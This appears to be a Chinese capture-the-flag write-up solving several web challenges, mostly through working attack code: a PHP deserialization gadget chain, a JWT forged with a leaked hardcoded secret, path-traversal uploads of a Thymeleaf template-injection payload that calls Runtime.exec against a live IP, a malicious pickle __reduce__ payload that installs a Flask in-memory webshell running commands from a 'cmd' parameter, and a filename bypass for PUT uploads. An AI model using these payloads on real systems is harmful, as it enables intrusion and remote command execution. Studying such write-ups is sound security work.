ez_unserialize 小写绕正则即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 <?php error_reporting (0 ); class A { public $first ; public $step ; public $next ; public function __construct ( ) { } public function start ( ) { } } class E { private $you ; public $found ; private $secret = "admin123" ; public function __get ($name ) { } } class F { public $fifth ; public $step ; public $finalstep ; public function check ( ) { } } class H { public $who ; public $are ; public $you ; } class N { public $congratulation ; public $yougotit ; } class U { public $almost ; public $there ; public $cmd ; } class V { public $good ; public $keep ; public $dowhat ; public $go ; } $h = new H ();$h -> who = new A ();$h -> who -> next = new V ();$h -> who -> next -> dowhat = "secret" ;$h -> who -> next -> go = new E ();$h -> who -> next -> go -> found = new F ();$h -> who -> next -> go -> found -> finalstep = "u" ;print_r (urlencode (serialize ($h )));?>
authweb 有一个上传文件的接口 :
需要 user 的 jwt 才能上传文件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.example.demo;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.security.config.annotation.web.builders.HttpSecurity;import org.springframework.security.config.annotation.web.configurers.AuthorizeHttpRequestsConfigurer;import org.springframework.security.core.userdetails.UserDetailsService;import org.springframework.security.web.SecurityFilterChain;import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;@Configuration public class SecurityConfig { private final JwtTokenProvider jwtTokenProvider; public SecurityConfig (JwtTokenProvider jwtTokenProvider) { this .jwtTokenProvider = jwtTokenProvider; } @Bean public UserDetailsService userDetailsService () { return new InMemoryUserDetailsService (); } @Bean public SecurityFilterChain securityFilterChain (HttpSecurity http) throws Exception { ((HttpSecurity)http.csrf().disable()).authorizeHttpRequests((authz) -> ((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)authz.requestMatchers(new String []{"/upload" })).hasRole("USER" ).requestMatchers(new String []{"/" })).hasRole("USER" ).anyRequest()).permitAll()).addFilterBefore(new JwtAuthenticationFilter (this .jwtTokenProvider, this .userDetailsService()), UsernamePasswordAuthenticationFilter.class).formLogin((form) -> form.loginPage("/login/dynamic-template?value=login" ).permitAll()); return (SecurityFilterChain)http.build(); } }
用代码里的 secret 伪造 jwt :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import jwtimport datetimesecret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03" payload = { 'sub' : 'user1' , 'iat' : datetime.datetime.utcnow(), 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=24 ) } token = jwt.encode(payload, secret, algorithm='HS256' ) print ("生成的JWT Token:" )print (token)try : decoded = jwt.decode(token, secret, algorithms=['HS256' ]) print ("\n验证成功,解码后的内容:" ) print (decoded) except jwt.InvalidTokenError: print ("Token验证失败" ) ezsignin
由于目标有 thymeleaf 依赖 , 又有上传功能 , 很明显是打 SSTI , 在配置文件中可以看到模板文件位于 templates/
于是可以目录穿越上传模板文件
先传要执行的命令放在文件里面传上去 :
1 2 3 4 5 6 7 8 9 10 11 12 POST /upload?imgName=../templates/23 HTTP/1.1 Host : 45.40.247.139:27783Content-Type : multipart/form-data; boundary=----WebKitFormBoundary3Q5lUoVRliGsjlyWContent-Length : 139Authorization : Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsImlhdCI6MTc2MDE2MTcyNiwiZXhwIjoxNzYwMjQ4MTI2fQ.Bsr4jGmkZCQEBL8Kon6V2VPIotQp7Rau68R3qt-JOps------WebKitFormBoundary3Q5lUoVRliGsjlyW Content-Disposition: form-data; name="imgFile" ; filename="../templates/23" env > ./templates/env1.html ------WebKitFormBoundary3Q5lUoVRliGsjlyW--
然后会生成一个 23.html 文件 , 接着我们上传 poc , 执行的命令是用 sh 去运行刚才的文件 :
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /upload?imgName=../templates/24 HTTP/1.1 Host : 45.40.247.139:27783Content-Type : multipart/form-data; boundary=----WebKitFormBoundary3Q5lUoVRliGsjlyWContent-Length : 139Authorization : Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsImlhdCI6MTc2MDE2MTcyNiwiZXhwIjoxNzYwMjQ4MTI2fQ.Bsr4jGmkZCQEBL8Kon6V2VPIotQp7Rau68R3qt-JOps------WebKitFormBoundary3Q5lUoVRliGsjlyW Content-Disposition: form-data; name="imgFile" ; filename="../templates/24" <html lang="en" xmlns:th ="http://www.thymeleaf.org" > <p th:text ='${__${new.org..apache.tomcat.util.IntrospectionUtils () .getClass () .callMethodN (new.org..apache.tomcat.util.IntrospectionUtils() .getClass () .callMethodN (new.org..apache.tomcat.util.IntrospectionUtils() .getClass () .findMethod (new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils() .getClass () .getClassLoader () ).loadClass ("java.lang.Runtime") ,"getRuntime" ,null),"invoke" ,{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader (new.org..apache.tomcat.util.IntrospectionUtils() .getClass () .getClassLoader () ).loadClass ("java.lang.Object") ,new.org..springframework.instrument.classloading.ShadowingClassLoader (new.org..apache.tomcat.util.IntrospectionUtils() .getClass () .getClassLoader () ).loadClass ("org."+"thymeleaf.util.ClassLoaderUtils") .loadClass ("[Ljava.lang.Object;") }),"exec" ,"sh ./templates/23.html" ,new.org..springframework.instrument.classloading.ShadowingClassLoader (new.org..apache.tomcat.util.IntrospectionUtils() .getClass () .getClassLoader () ).loadClass ("java.lang.String") )}__}'></p > ------WebKitFormBoundary3Q5lUoVRliGsjlyW--
接着访问 /login/dynamic-template?value=24 去触发 payload
最后访问 /login/dynamic-template?value=env1 就可以看到命令执行的结果
ez_blog 访问目标 , 提示访客只能用访客账号登录 :
guest : guest 成功登录进去
将 Cookie 中的 Token 十六进制解码可以看到一些可疑字符串 :
问 ai 可以知道这是一段 pickle 序列化数据 , 于是尝试打内存马 :
1 2 3 4 5 6 7 8 import osimport pickleimport base64class Evil (): def __reduce__ (self) : return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()" ,)) print((pickle.dumps(Evil()).hex()))
1 /a?cmd=cat%20 /thisisthefffflllaaaggg.txt
staticNodeService 可以 PUT 上传文件 :
但是文件名不能以 js 结尾 :
用 /.
绕过 :